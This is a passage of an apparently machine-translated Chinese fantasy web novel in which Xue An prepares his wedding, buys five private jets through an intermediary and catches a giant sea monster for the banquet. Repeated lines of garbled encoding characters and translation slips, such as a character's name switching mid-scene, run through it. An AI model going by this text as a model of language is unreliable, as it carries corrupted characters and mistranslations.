    This is the Shen Group from Hollywood in Country M. The movie Wu Qiang they made is still very popular. As a result, the owner and daughter of Shen family came.


    This is even bigger. It is actually the underground queen of Tokyo in R country. The familiar Hedo family like the Black Dragon Society is a joke in front of this woman.


    And in order to show respect, such a big man got out of the car from the door and walked in.


    This is a man from Sin City....


    ��, has the Yu family in Lingnan also come?


    Wu Qiang would sigh every day.


    I was a little free this day, so I sat in the lounge and had a cup of tea, but as soon as I took a sip, the security guard hurried over.


    "The manager is not good! Someone is making trouble!"


    In a word, all the tea in Wu Qiang''s mouth was sprayed out, and he stood up immediately, the expression on his face could be eaten.


    "Who? Who dares to make trouble here?"


    "I don''t know, anyway, there is a large group of vehicles, among them there are many military vehicles, and the ones who come down are very tough men."


    Wu Qiang was shocked, and ran out in a hurry, thinking while running.


    Who dare to make trouble?


    You know, all Beijiang now knows that Mr. Xue from Tianzi No. 1 Villa is going to get married.


    An underground boss like Du Fan even gave the order to die. If anyone dares to come here to make trouble during this period, he will kill him!


    Actually no one dares to come.


    thought in his heart, people have rushed to the gate of Yunmeng Courtyard.


    I saw dozens of security guards blocking the door firmly, although there was some fear on their faces, no one flinched.


    Wu Qiang felt a little relieved, and when he came to the front, he looked up.


    As expected.


    There are more than 20 cars coming, and now all the people who get off the car are all powerful men with a full face.


    This kind of momentum made Wu Qiang''s face pale.


    If it had been left before, he would have been scared to shrink.


    But now when I think about it, Mr. Xue is standing behind him!


    I can''t shame him, so I mustered up the courage and said in a deep voice, "Who are you? What are you here for?"


    These big guys looked at each other, but none of them spoke.


    And this time, a woman got off the leading army green Hummer.


    "Hey, I can keep calm in front of our group of people, and you little security guards are not bad."


    Waiting for Wu Qiang to take a closer look at the woman, he couldn''t help being stunned.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    This girl...how does it resemble Miss An Yan?


    Wu Qiang had met An Yan several times, and was very impressed, so he couldn''t help being a little surprised at first glance.


    and the girl smiled slightly, "Okay, I won''t tease you anymore! I am An Yan''s sister, An Qing!"


    Even though he said so, Wu Qiang was still worried, "Miss An, wait a moment!"


    While speaking, Wu Qiang dialed Qin Yu with his back.


    "Chairman, a large group of people came, and the leader was a girl. She said her name was An Qing, do you want to let it go?"


    Qin Yu couldn''t help crying and laughing, "Quickly let go, that''s An Yan''s sister!"


    "Understand!"


    Wu Qiang turned around and smiled, "Miss An, I''m really embarrassed, our chairman said, now there are so many people, people who don��t know each other have to ask more questions, please come in!"


    Anqing is not angry. She didn''t come down on purpose just now, just to see how these little security guards can respond.


    The result was beyond her expectation, so she nodded approvingly.


    "Good job! Thank you!"


    She is thanking her sister An Yan.


    After that, An Qing got into the car, and the convoy drove in with howling.


    Wu Qiang was still a little dazed.


    Thank you.......


    Hey, such a big man thanked me!


    Tianzi No.1 Villa is very lively now.


    New guests and friends arrive every day, but Xue An and An Yan are sometimes not there, and Qin Yu has to go too.


    So Tang Xuaner assumed the task of hosting.


    At the beginning, Qin Yu was a little worried.


    I feel that Tang Xuan''er is shy by nature and it is difficult to take on such a task.


    But a few days later, Tang Xuan''er''s performance made everyone admire.


    Although Tang Xuan''er didn''t have many words, she was generous in dealing with people and things, and her attitude was sincere. Many people liked and respected her, and she gained a lot of fans.


    such as Shen Nan from the Shen family in Hollywood, such as Yu Ran from the Yu family.


    These two are now Tang Xuan''er''s loyal fans.


    The three of them were sorting things this day, and they heard the roar of huge vehicles down the mountain. When they were surprised, the convoy had already drove to the front of the villa These two dozen military vehicles came together and formed It was quite shocking.


    Especially when the tough men came down, the atmosphere in the villa became a little tense.


    Tang Xuan''er''s face was pale, but she still stepped forward to prepare for questioning.


    "Who are you?"


    Seeing this scene, Yu Ran and Shen Nan also came over.


    Takeuchi Kiyoko followed behind holding a streamer sword blankly.


    Yu Lang gave a light cough, Yu Ran''s brother, Yu Ming, the strongest fighting force of the Yu Family in Lingnan, stood silently with his sword in his hand.


    Griffin sneered, and dozens of dark disciples lurking around began to slowly emerge.


    Shi Hao and Feng Chaocao looked at each other and then quietly stepped forward.


    The atmosphere in front of the villa suddenly became tense.


    But at this moment, An Qing opened the car door, jumped off the tall Hummer, and gave Tang Xuan''er a narrow smile.


    "Xuan''er, haven''t seen me for a while, don''t even know me?"


    Tang Xuan''er was startled first, and then shouted in surprise: "An Qing?"


    Hearing this name, all the swordsmen were startled, and then relaxed.


    Although many people have never met An Qing, they all know that she is An Yan��s younger sister.


    "Where is my sister?" An Qing asked.


    At this time, Xue Xiang and Xue Nian did not know where they ran out.


    "Auntie!"

 Chapter 339： Drunk with a glass of wine

    As soon as she saw her two lovely little nieces, An Qing''s face was instantly covered with smiles.


    squatted down, first kissed a big bite, and then took out a big bag of snacks and toys like a trick.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Do you want auntie?"


    "miss you!"


    The two little girls yelled in unison holding the snacks.


    At the same time, Xue An and An Yan also appeared in front of the villa.


    When I saw Xue An.


    These sturdy men immediately became extremely respectful, and quickly lined up.


    "Instructor!" these people shouted in unison.


    That''s right, all the members of the Fire Phoenix Special Forces who came with An Qing.


    Xue An nodded slightly, "Why are you here together?"


    Captain Cheng Hao stepped forward, "I heard that the instructor is about to get married. All members of the Phoenix Phoenix will come to congratulate!"


    Then he smiled, "Of course, I want to drink the instructor''s wedding wine!"


    Xue An laughed dumbly.


    In fact, when the members of Fire Phoenix learned that Xue An was about to get married, they were all excited.


    Especially after knowing that An Qing is coming to Beijiang to pick up her sister.


    These people petitioned collectively and must come together.


    After thinking about it, An Qing agreed.


    Now she is regarded as the direct officer of this fire phoenix, because these people are not convinced except Xue An.


    and An Qing was accepted by them because of her relationship with Xue An.


    At this time, a few people got off the car.


    An Ying and An Meng shouted timidly: "Brother-in-law!"


    Xue An nodded slightly, but looked at Chen Rushi who was aside.


    Chen Rushi smiled sincerely at this moment, "Congratulations!"


    Xue An smiled, "You are here too."


    "Well, my grandfather wanted to come, but because he was going to prepare for the big wedding, so I came! Your three brothers are also preparing, let me tell you!" Chen Rushi said.


    At this time, Qin Yuan and Qin Yu also arrived. After seeing the fierce phoenix, they couldn''t help but feel a little surprised.


    "Everyone, it is not easy to get together today. I have arranged for the chef to come, let''s get together first!" Qin Yuan said loudly.


    Everyone nodded.


    Qin Yuan arranged it very thoughtfully.


    Soon, a top chef team came, and brought a variety of rare ingredients, and began to enthusiastically pick up the food.


    Such a lively scene also made Xiaosha in the distant Yunmeng Lake envious. It floated out half of its head, letting its nostrils stick out of the water, greedily smelling the smell of food coming from it, and the saliva flowed into the water and turned into a strip. A ribbon that radiates light.


    A few small fish swam past, and it happened to be contaminated with the golden ribbon, and then the small fish suddenly enlarged several times, and the whole fish scales were stained with a golden halo, and the aura became stronger.


    Xue An naturally saw Xiao Sha''s pitiful appearance, and couldn''t help crying or laughing, so he had to pass a sentence with spiritual thoughts.


    "Come here! But don''t scare people!"


    Xiaosha was ecstatic, her whole figure shrank sharply, and she soon became a puppy, and then appeared in front of the villa in an instant, sticking her tongue out and watching the chefs fry and cook.


    No one noticed more puppies, only Xue Xiang and Xue Nian saw it.


    "Xiaosha!"


    Then the two little girls happily threw a chicken leg to it.


    Xiao Sha gobbled and ate, tears seemed to fill his eyes.


    Two young ladies still love me! And this is what the dragon should eat!


    Think about eating raw fish all day in the lake these past few days, it is simply not a long life.


    The wine and food began to come up like running water, and Xue An said to Qin Yu: "I will send some food to the security guard at the door soon!"


    Qin Yu was startled, then smiled and nodded, "Okay!"


    When Wu Qiang and the security guard at the door received the hot meals from Villa No.1 Tianzi, they were all a little stupid.


    The food delivery person said with a smile: "Mr. Xue personally ordered it to be delivered, eat it!"


    Wu Qiang felt a warm current in his heart.


    He didn''t expect that a big man like Mr. Xue could still think of his group.


    So he waved his hand, "Eat! Show the door after eating! Don''t let those messy people ruin Mr. Xue''s happy event!"


    The security guards responded loudly: "Don''t worry! Who dares to make trouble, we tore him!"


    In the Tianzi No. 1 Villa, the banquet gradually came to a climax.


    People toast Xue An one after another.


    Xue An refused to come, and soon drank a lot of people.


    Even to the back, even the members of the Phoenix Fire took turns into battle.


    You know, drinking is strictly prohibited in the military.


    These big guys have been holding back for a long time. They are allowed to let go of their belly to drink this time, and their eyes are already red.


    I use a large bowl when I drink.


    But even with such combat power, it is still not Xue An''s opponent.


    Just one hour.


    Fire Phoenix''s members are almost all drunk to death, except for Zhou Daniu, who doesn''t drink.


    And Xue An still looks clear, not drunk.


    At this point, in addition to her prestigious name, Xue An also has a nickname of not drunk god.


    This banquet lasted until the moonlight was thin.


    Most people who drink are already drunk.


    The women have all gone back to the house.


    In the night breeze, Xue An is still drinking.


    And Xiao Sha is still eating big mouthfuls.


    If everyone were not drunk, I would be surprised at why this small-looking puppy can eat so much.


    There were more than 30 roast chickens, and Xiao Sha sighed comfortably.


    "Are you full?" Xue An smiled faintly.


    Xiaosha shook his head, and said with divine thought: "I''m eating too fast, first slowly, and then later!"


    Xue An was a little bit dumbfounded, "Can you be a little prosperous?"


    "It''s my talent to be able to eat roast chicken with adults!" Xiao Sha plausibly said.


    Xue An was silent for a moment and poured a glass of wine, "Come on, have a drink with me!"


    Xiaosha hesitated, "Is this something good?"


    "It''s okay! It''s better than water!" Xue An said.


    Xiaosha gritted his teeth and saw that no one around was watching, so he picked up the wine glass with spiritual thought, licked it with his tongue first, and tasted the taste.


    "Slightly spicy, but not bad!"


    Talking, Xiao Sha drank the wine in his glass and blinked his eyes.


    Then he fell to the ground in Xue An''s surprised eyes, and passed away completely drunk.


    Under the cold moonlight, a fourteen-five-year-old girl lay on the ground and fell asleep.


    The girl has a beautiful and vulgar face, but she has a round face and a little baby fat.


    On the head, there are two tiny dragon horns.


    Xue An looked at this scene in amazement, suddenly sighed, and whispered softly: "After following me for so long, I realized that you are a female dragon!"


    "And... you''re also a dragon anyway, isn''t the amount of alcohol a bit too bad?"


    At this time An Yan walked out, "Husband...Huh, who is this?"


    An Yan looked at the girl lying on the ground in surprise, and couldn''t help asking.


    Xue An smiled bitterly, "Xiaosha!"


    "Xiaosha? Can it be transformed?"


    Xue An shook his head, "Its current strength is not enough. It''s just because it can''t control its breath when drunk, so it reluctantly strengthens into a human form, and when it wakes up, it returns to its original state."

 Chapter 340： The day I choose is an auspicious day

    An Yan nodded, but still stared at Xiao Sha curiously.


    "I didn''t expect this puppy to look pretty after turning into a human form!" An Yan said with a smile.


    "Hehe, as long as the dragons can transform themselves, they are basically all handsome men and beautiful women. This is their racial talent!" Xue An said lightly.


    "Husband, how do you know?"


    "At the beginning I traveled to the heavens, and I have been to the Dragon Realm. The dragons there are like this, and the more noble the bloodline, the more beautiful they look, such as the princess of the dragon royal family..."


    Xue An quickly closed his mouth, but it was too late.


    I saw An Yan looking at Xue An with a smile, "What happened to the Dragon Princess?"


    Xue An laughed and said to him, "The weather is really good today!"


    "I''m asking the dragon princess what''s wrong?" An Yan said with a solemn expression.


    "Of course the Dragon Princess does not look as good as my wife!" Xue An has a strong desire to survive.


    An Yan nodded, "It''s pretty much the same."


    Immediately afterwards, but couldn''t stretch it anymore, he laughed first.


    "Is the way I looked terrible just now?"


    Xue An looked relieved, "Yes! It''s terrible! It scared me to death!"


    smiled slightly in his heart, this silly girl, really thought he could bluff me?


    "Husband, is the outside world wonderful?" An Yan asked with bright eyes.


    Xue An nodded, holding the cup in his hand, and whispered softly: "It''s wonderful. Among the heavens and the world, such as the sand of the Ganges River, countless wonderful stories are happening every day!"


    Speaking, Xue An talked about some interesting things that happened when he traveled through the heavens.


    "For example, this dragon race is a very powerful race in the heavens and myriad realms. The ancestor dragons among them are even as powerful as the immortal kings. They create a realm of their own and are called the dragon realm!"


    "I have traveled in the dragon world for a long time, and I have made a lot of friends." Xue An said lightly.


    only when he said the word friend, in the incredible dragon world.


    An ancestral dragon with the cultivation base of the fairy king suddenly trembled, and then his face was full of horror.


    "Do you feel it?"


    The other ancestor dragons couldn''t help but nodded solemnly.


    "It''s the breath of that guy! I knew, how could a mere promotion failure cause a peerless fairy to fall?" An ancestor dragon said with a wry smile.


    "Hurry up and pack up all the treasures, and don''t be robbed by this guy again!" Another gritted teeth said.


    "Do you want to notify the little princess?"


    "Don''t! That guy has seen the true face of the little princess, and the royal rule is that the person who sees the true face of the dragon girl must either kill or become his husband. When the time comes, the dragon world will be over!"


    "Yes!"


    Of course, it is still too far away now.


    An Yan didn''t even know this, she just listened leisurely.


    Xue An smiled and rubbed her little head, "Well, sooner or later, I will take you and Miss Miss to see you!"


    "Hmm!" Then An Yan suddenly leaned over Xue An''s ear, with a sly smile on his face, and said softly.


    "Husband, tell me the truth, in these three thousand years, has any woman ever been tempted by you? Just tell me, I will definitely not be angry!"


    Xue An blinked his eyes, "Of course I have, but I rejected them all! Wife, I have never done anything to be sorry for you!"


    An Yan looked at Xue An, but the tenderness in his eyes gradually spread.


    After three thousand years, this man just came here alone.


    Thinking about it, An Yan feels distressed beyond words.


    "Well, don''t think about it, it''s time to go to bed!" Xue An saw An Yan''s mind and couldn''t help but smile and said with relief.


    "Hmm! What about Xiaosha?" An Yan pointed to Xiaosha who was sleeping on the ground.


    Xue An is helpless, just a glass of wine, as for the drunk till now?


    "Bring back to the house that I missed and missed!" As he said, Xue An lifted Xiaosha from the ground like a bag.


    the next day.


    Thinking and Nian Nian opened her eyes and saw Xiao Sha, who had become a puppy again, squatting in front of the mirror to take pictures.


    "Xiaosha, what''s wrong with you?" Xue Xiang asked.


    Xiaosha could communicate with two little girls through divine thoughts, and couldn''t help saying: "I seemed to have a dream last night!"


    "What did you dream of? Roast chicken?"


    "No, I dreamt that I became a girl, and she is still a very beautiful girl!" Xiaosha said, turning her head to look at the curly-haired puppy in the mirror, and she couldn''t help but feel a little distressed.


    How could I sleep like this again?


    An Yan will follow An Qing to return to China.


    The two little girls are reluctant to give up, tears are coming down.


    An Yan was also reluctant to bear her two daughters.


    Since their return, the three of them have never separated.


    Xue An smiled, squatted down and said to Xiangxiang and Niannian: "Thinking, Niannian, mother will go back to Zhongdu''s home first, and then when father is ready, take the two of you to pick her up! OK?


    The two little girls nodded.


    "Goodbye mom, I will pick you up with my dad!" Xue Nian waved his hand with tears in his eyes.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    then turned to look at Xue An, "Dad, is this marriage?"


    Xue An smiled, "Yes! This is called marriage!"


    "Then next time I get married, can I be with my mother?" Xue Nian asked.


    This sentence caused a lot of laughter.


    Xue Xiang even hated iron and steel and said: "Fool, it is enough for father and mother to get married once, do you think this is ice cream, do you have any more after eating it?"


    seems to remind Xue Nian She suddenly remembered something, "Sister, you ate my ice cream last night!"


    Xue Xiang looked a little embarrassed, "Well, I won''t eat today, I''ll give it back to you!"


    The joys and sorrows of children come and go quickly.


    was quickly attracted by ice cream, and forgot the distress of being separated from her mother temporarily.


    An Qing nodded to Xue An, "Brother-in-law, let''s go! If you come to pick up at that time, remember to bring more red envelopes! It is estimated that the Zhongdu side will be more lively!"


    Xue An smiled, "Okay! Give as much as you want!"


    "Take care of them when you go back!" Xue An said to the members of Fire Phoenix.


    Although they were drunk last night, everyone has completely recovered. After hearing Xue An''s instructions, these people shouted vigorously: "Instructor rest assured!"


    Cheng Hao even said: "Instructor, with our fire phoenix here, we must guarantee the safety of my wife!"


    "Yes! If someone dares to make trouble, I will squeeze their heads one by one!" Zhou Daniu said in a silly voice.


    Xue An smiled, he just said casually.


    Now that An Yan''s strength is good enough, what''s more, Xue An has given her countless guarding circles.


    After An Qing and others leave.


    Song Yi stepped forward, his expression a little hesitant, "My lord, I have speculated hundreds of times in various ways, and there have been no good auspicious days in recent days!"


    Xue An smiled, "Good day and good day? The day I choose is a good day!"

 Chapter 341： Here are 5 planes, yes! 5 frames!

    "My lord, when do you plan to go?"


    "After five days." Xue An said lightly.


    Five days later?


    Song Yi pondered for a long time, and didn''t realize that there was anything special on this day, but since his own adult said so, it is just as the adult said.


    And what the lord said is right, where he is, the evil spirits will disperse, and fortune will gather.


    What day do I choose?


    It��s just what Song Yi didn��t know.


    Xue An was chosen five days later because it happened to be An Yan��s birthday.


    Xue An still remembers his first birthday with An Yan.


    At that time, Xue An''s life was very embarrassing, but even so, Xue An did not hesitate to buy a cake that day.


    The two were eating cake happily when the power went out suddenly.


    There are thousands of lights outside, but the room is completely dark.


    An Yan smiled and lit the candle, saying that this was the best candlelight dinner.


    Thinking about it now, Xue An can still recall the sadness at the time.


    At that time, Xue An vowed that he would make up for Anyan thousands of times in the future.


    This is also the reason why Xue An has worked so hard now to demand perfection in everything about the wedding.


    He doesn''t care about anything else, he just wants to give Anyan the best.


    Five days later the news of the wedding spread, and Qin Yu became even busier.


    She will prepare everything she needs within five days.


    But she still has to ask Xue An for some of the difficulties.


    "Sir, I just estimated that if you were to pick up your relatives on the same day, it would take a few hours on the road at the earliest, and it would take a day to go back and forth. This is still no accident on the road. If there is a traffic jam, just Time wasted even more!"


    Qin Yu''s worries are very real, and it is not just in case there will be traffic jams, but it will definitely happen.


    Xue An nodded after hearing this, "I have thought about this question."


    "How do you plan to solve the problem?" Qin Yu was a little anxious.


    Xue An smiled, "There will be news soon, this is not a problem, what about the next one?"


    Qin Yu nodded, since the husband said it was not a problem, it must be fine.


    "Also, these are the dishes for the wedding day planned by me and a few chefs, sir, let''s see how!"


    Xue An took the album, flipped it roughly, and frowned slightly.


    "The dishes are all fine, and the grades are sufficient, but why are there question marks behind?"


    Qin Yu smiled bitterly: "I didn''t expect that Mr.''s marriage would be such a sensation. Now there are thousands of guests in Beijiang, but the ingredients for these dishes are basically deep-sea seafood, which is very rare."


    "And I just asked about it in the major markets in Beijiang and the provincial capital. They can''t supply such a large amount, and they can''t add much money."


    When it comes to this, Qin Yu is very upset.


    As she said, she has contacted almost all markets in the past few days, and the price has been increased tenfold, yet no one can provide such a large amount.


    Those big seafood suppliers made it clear, who doesn��t want to make money if they have money? But the point is that some seafood is very rare and hard to catch. It''s okay to eat a rare dish. It''s impossible to serve as a main dish.


    Xue An was slightly startled after listening, this is actually a problem.


    "Put it here first, let me figure out a way!"


    "Yes!"


    After Qin Yu retired, Xue An looked at the seafood he needed on the menu, his eyes flickering slightly, not knowing what he was thinking.


    And this time, in the back garden of Tianzi No.1 Villa.


    Griffin dialed an ocean phone.


    "Mr. Griffin, is there anything I can help?" An old and solemn voice came from the other end of the phone.


    Griffin chuckled, "Charles, how''s your business going?"


    "It''s terrible! Now that the economy is not good, the rich would rather be first class than order private jets." Charles began to complain.


    The Charles Griffin called is the leading aircraft manufacturer in M ??country.


    But he does not make commercial jets, only private jets.


    and made a huge fortune in the previous years when economic conditions were good.


    So Griffin just smiled after listening, "Well, even if you don''t make money now, what you have saved before is enough for your ten lifetime expenses."


    Charles is a very shrewd businessman. Hearing Griffin said this, he thought he was going to borrow money, so he was so scared that he started crying poorly.


    In his mind, this Eviscer from Sin City is now on the right path, but if he really wants to open his mouth to borrow money, it would be the same as robbing, don��t expect to come back.


    Griffin could hear it naturally, and frowned, "Enough, I am not going to borrow money from you! On the contrary, I have a big business, would you like to do it?"


    "Big business?" Charles showed a little interest.


    "Yes, a big business from China."


    "Hua Xia? Stop teasing me. The rich in China are more keen on buying yachts. Few of them buy private jets. Even if they do, they buy some obsolete old models and go back to look like them." Charles was a bit disapproving.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Griffin said lightly: "This time is different. My grown-up wants to buy five private jets, and they all have the latest models and the highest configuration!"


    "What? Five?" Charles on the other end of the phone was drinking coffee leisurely. He was so excited when he heard this, the coffee was spilled all over.


    But he can''t bother to feel sorry for this customized suit worth tens of thousands of dollars. With a pair of green eyes, he said in a deep voice, "Griffin, are you true?"


    "It''s true! But there is a condition!"


    "Please speak!" Charles immediately opened his notebook and listened intently.


    This is a full five orders!


    When he used to be in business, he sold only seven or eight in a year.


    This order is enough for him to eat for three years.


    "My adults have requested that it must be delivered to China within five days." Griffin said lightly.


    Charles froze with his face full of joy. It took a long time before he said angrily: "Griffin, this is five private jets, not five potatoes. They will be delivered to China within five days. Are you kidding me?"


    Griffin seemed to have expected this, so he put the phone away from his ears, and said lightly when Charles finished his roar.


    "Charles, after your lord assigned me this task, I didn''t contact anyone. I called you the first one."


    "Then I have to thank you! My friend." Charles said mockingly, and was about to hang up.


    But Griffin''s words stopped him.


    "My lord said, delivery within five days will increase the price by 30%! And as long as you can make it one day in advance, the price can still be increased in the past without a cap!"


    Griffin''s words seemed to have a kind of magic power, and Charles felt that there were all large sums of dollar bills in front of him.


    "Unfortunately, it seems that my dear Charles doesn''t like this business anymore. Then I have to find someone else. I think someone will be interested." Griffin said lightly.

 Chapter 342： What can be solved with money is not a problem

    Charles said solemnly: "Griffin, are you sure what you said is true? And the money for five planes is not a small sum..."


    Griffin smiled slightly, "Do you know Tianyuan?"


    Charles was startled, "Is China that magic potion that can rejuvenate people?"


    "Yes, Tianyuan''s formula is in the hands of my adults!"


    hiss.


    Charles took a breath.


    The world''s richest person who recently provoked the world''s fascination was actually developed by Griffin''s adult?


    In this way, let alone five private jets, it is more than enough to buy an aircraft carrier fleet!


    "Now, please give me a definite answer, within five days, will it be delivered?"


    Charles was silent for a moment, and then categorically said: "Okay! Five days is five days!"


    For the money, Charles is ready to go all out.


    Griffin couldn''t help laughing at this.


    He finally found that using money to hit people is more subdued and more fulfilling than using violence and **** means.


    For example, now, even if he asks Charles to kneel and sing the little star, he will do it without hesitation.


    "Very good, but dear Charles, you have to understand that my lord has a bad temper. If he does not see five planes in China within five days, then you know the consequences! My disciples will be very Happy to say hello to you!"


    Charles''s face was pale, but he gritted his teeth and said, "Don''t worry, it''s absolutely fine, but I have to charge a deposit..."


    "Give me the account and call 30% first!" Griffin said impatiently without waiting for Charles to finish.


    After finally negotiated, Charles hung up and wiped the sweat from his face.


    and his secretary looked at him dumbfounded.


    The female secretary heard the conversation just now.


    "Mr. Charles, are you crazy? In five days, you can''t even draw the drawing of the plane, how can it be sent to China?"


    Charles leaned back in the boss chair and smiled, "Who said I want to make it now!"


    "Ok?"


    "Just let me go, I will buy five brand new private jets at a price 10% higher than usual!"


    "Yes!" The secretary trembled, and then he understood Charles''s intention.


    After Griffin told Xue An about the results of the negotiation, Qin Yu who was listening to him couldn''t help but his eyes rounded.


    It turns out that this is the solution Mr. said!


    If you really buy five private jets, the traffic and traffic jam problems can indeed be solved.


    But this solution is really... simple and rude!


    And buying five private jets within five days, it sounds like a fantasy.


    Seems to see Qin Yu��s concern, Griffin smiled, "Miss Qin, please rest assured, I know these capitalists too much, as long as there is a profit, they are even willing to sell you the rope that hangs them, let alone just Five planes arrived in five days."


    Qin Yu nodded.


    Xue An didn''t feel much about it.


    Even if the plane can''t be delivered by that time, it''s a big deal that each of you will have a sword spirit, and then fly to Zhongdu together.


    It''s just that it would seem too shocking.


    As for whether it is too simple and rude.......


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    In Xue An''s view, problems that can be solved with money are not problems.


    And for him, worldly money is useless at all.


    So it doesn''t feel at all to spend.


    However, the following problem cannot be solved by simply spending money.


    How can I get a lot of rare ingredients?


    Xue An glanced at Xiao Sha who was eating chicken legs next to him, and smiled slightly.


    After eating so much roast chicken, it''s time to exercise.


    So he stepped forward and picked up Xiaosha, and said to Qin Yu, "I''ll go and return!"


    After that, it turned into a stream of light and disappeared into the sky.


    "Sir, what are you going to do?" Qin Yu was a little baffled.


    Griffin chuckled, "I never bother to speculate about the behavior of adults, because mortals will never understand what God does."


    Above the vast sea, a stream of light suddenly appeared.


    Xue An was flying, while searching the sea below with spiritual thoughts.


    But it turned out that Xue An frowned secretly.


    Because of pollution and overfishing, fish and shrimps near the sea are almost extinct.


    Xue An had to fly into the deep sea.


    in a deserted sea.


    The boatman Lao Bai carefully cast the fishing nets and prayed silently in his heart. Today, I have gained a little bit!


    Otherwise, this time I''ll take the risk for nothing.


    The sea area where he is located is a terrifying place that has changed the conversation of coastal fishermen.


    There are countless ships that have accidents here every year, and ship crashes and deaths at every turn.


    Over time, the route here was abandoned.


    But there are still many courageous fishermen who come here to fish, but many people never come back.


    escaped by chance, and they were all frightened.


    In their description, the sky was still clear for a second, and suddenly there was a violent wind, and huge waves were set off on the sea, and huge tentacles appeared faintly in the waves.


    This description made the latecomers more and more timid, and since then no one dares to come here to fish.


    This time Lao Bai hadn''t gotten anything because he had gone to sea for several days, and he would have lost his pants, so he would not risk coming here to fish.


    Bodhisattva bless, Dragon King bless, but don��t make any accidents!


    seems to have heard his prayer, and suddenly the sky is dark.


    Then there was a strong wind, and the originally calm sea boiled even more.


    Lao Bai was so scared that he wanted to run while driving a fishing boat.


    But in front of this huge force of heaven and earth, this small fishing boat is not even an ant.


    And under the surface of the sea, a long tentacle suddenly appeared, and it came straight towards the old white fishing boat.


    Lao Bai screamed in fright and closed his eyes, lamenting in his heart that this is over, and he must be buried under the sea.


    But at this moment, I heard a voice with a hint of surprise.


    "Huh, there are wild octopus monsters?"


    Old Wang slowly opened his eyes, and he saw a scene that he would never forget.


    I saw a man standing in the air, with one hand grasping the huge tentacle, with a hint of joy on his face.


    "God...God?" These two words suddenly appeared in the blank brain of Old Wang.


    At the same time, Xue An looked at the huge octopus under the sea with great interest.


    "It''s really wild, and there are two or three hundred years of Taoism, it''s really rare!"


    seemed to feel the great danger, this octopus monster struggled frantically and tried to escape.


    "I was missing some cherished dishes, now don''t worry!"


    Xue An said, a faint smile appeared at the corner of his mouth, and then his arm suddenly squeezed.


    Huh.


    The octopus monster was abruptly lifted out of the sea by Xue An.

 Chapter 343： wild

    Wait in the air to see the huge octopus monster.


    The body is the size of a football field, and the tentacles are tens of meters long.


    Lao Bai was dumbfounded by this scene.


    And the octopus monster suddenly used force, cut off the tentacle that Xue An was holding with a click, fell into the water and fled in a hurry.


    It has not yet developed its mind, but the biological instinct makes it feel an unparalleled sense of crisis.


    That''s why they flee in such a panic.


    But Xue An just smiled slightly, "Want to run?"


    then said to Xiaosha: "Grab it, the demon pill will be rewarded to you!"


    Xiaosha nodded when he heard the words, and roared to the sky.


    The sound of dragon chanting shakes the four fields.


    Lao Bai was so scared that he almost didn''t fall off the boat, and then saw Xiaosha suddenly appearing in his original form.


    A huge golden dragon appeared in the air.


    Lao Bai was shocked all over, tears streaming down his face, and then he threw himself and knelt on the deck.


    As a fisherman, he has a natural awe of dragons. What''s more, now that he sees a living golden dragon, Lao Bai is kowtow like garlic.


    At the same time, he was still thinking that my prayer must have been heard by the Bodhisattva and the Dragon King, so they came to save himself.


    Xiaosha didn''t have time to care about other people''s kneeling. As soon as he entered the sea, he went straight to the octopus that ran away frantically.


    Wherever ���� passed, all the tribes in the ocean retreated, all hiding aside tremblingly.


    This is the power of the dragon.


    The octopus monster was locked in by Xiaosha''s breath, and the suppression from the bloodline level made it shudder all over, and soon couldn''t run.


    Xiaosha was not polite after catching up, and the dragon''s mouth opened, and he bit off the octopus monster''s head in one bite.


    Yao Dan was mixed with flesh and blood and was swallowed directly by Xiao Sha.


    Then Xiaosha flashed light all over, and the dragon scales seemed to become harder.


    Xue An smiled when he saw this. This octopus monster has killed countless lives over the years, and it ended up doing this today. It is also on its own account.


    Then Xue An took a step and said lightly: "Get up!"


    I saw the octopus monster''s body surfaced.


    Although Xiaosha bit his head off, this octopus is still big and scary.


    And not all such a big octopus can be eaten.


    Hundreds of years of growth has made it so hard that most people can''t swallow it.


    But Xue An is very familiar with these things.


    There is no way, he had studied the Yaozu��s meals in detail when he was extremely bored.


    For this kind of ocean monster race, he has a unique set of handling methods.


    I saw the sword light covering the octopus monster, and easily cut off the tough outer skin, leaving only the tender meat inside.


    soon.


    This huge octopus monster has been cut, and there are only two or three hundred catties of meat left to eat.


    But this is enough.


    And because of the octopus monster''s long practice, the flesh and blood on its body have special effects.


    Most people eat it, not to mention prolonging life, at least it can replenish vital energy and strengthen the body.


    And if the cultivator eats it, it can enhance his cultivation.


    But this one is not enough.


    Xiaosha hovered under the sea, where Longwei passed.


    Numerous sea races automatically floated on the surface of the sea, and automatically gathered together according to their respective types, just like incarnations in an aquarium, let Xue An choose.


    Xue Anxin pointed his hand, and the selected Sea Clan floated.


    This magical scene made the dizzy old Bai envy.


    It��s the first time I have seen such a way of fishing in the sea like a supermarket of choice for so many years.


    Xue An chose dozens of seafood, about two or three thousand catties, and felt that it was almost the same, and then waved his hand.


    The other sea races sank into the bottom again.


    With so many seafood floating in the air, Xue An casually made a curse,


    "Hidden!"


    The flesh and blood of these seafood and that octopus monster shrank sharply, and then turned into a gray ball of light, which appeared in Xue An''s hands.


    After doing all this, Xue An looked down at the pious old white and smiled slightly.


    "Since I see it, I can count on it, so I will help you!"


    said he was about to gather fish for Lao Bai,


    Lao Bai trembled all over, his heart moved, and then he did the most correct thing he had done in his life.


    He knelt on the ground, and said piously: "Master Bodhisattva, I don''t want to fish anymore, I just ask you to reward me with a piece of Grandpa Dragon King''s thing, so I can stay as a family heirloom!"


    Xue An was startled when he heard the words, then smiled and nodded, "What are you going to want?"


    Lao Bai whispered: "I think Longya is pretty good!"


    At this time, Xiaosha had come out of the sea, her eyes widened when she heard this.


    dare to ask for my dragon teeth?


    A powerful aura immediately enveloped the fishing boat.


    Lao Bai shuddered in fright, and hurriedly changed his words, "It''s just a talk, you can just enjoy one piece at random!"


    Xue An smiled, and casually tore off a piece of Xiaosha''s dragon scale.


    "Save it as a souvenir!"


    As he said, Xue An jumped away.


    Xiaosha gave Lao Bai a fierce look, feeling a little unhappy, but it was the dragon scales that Xue An had torn off, so she had to follow him.


    Lao Bai held a piece of dragon scales the size of a water tank and stood on the bow, his expression gradually excited.


    This... but 800 serious dragon scales!


    "Chairman, I think if you really can''t find so many ingredients, you can lower the standard slightly, and so many tables use such high-end seafood ingredients, it''s a bit too luxurious!" A five-star person The chef suggested.


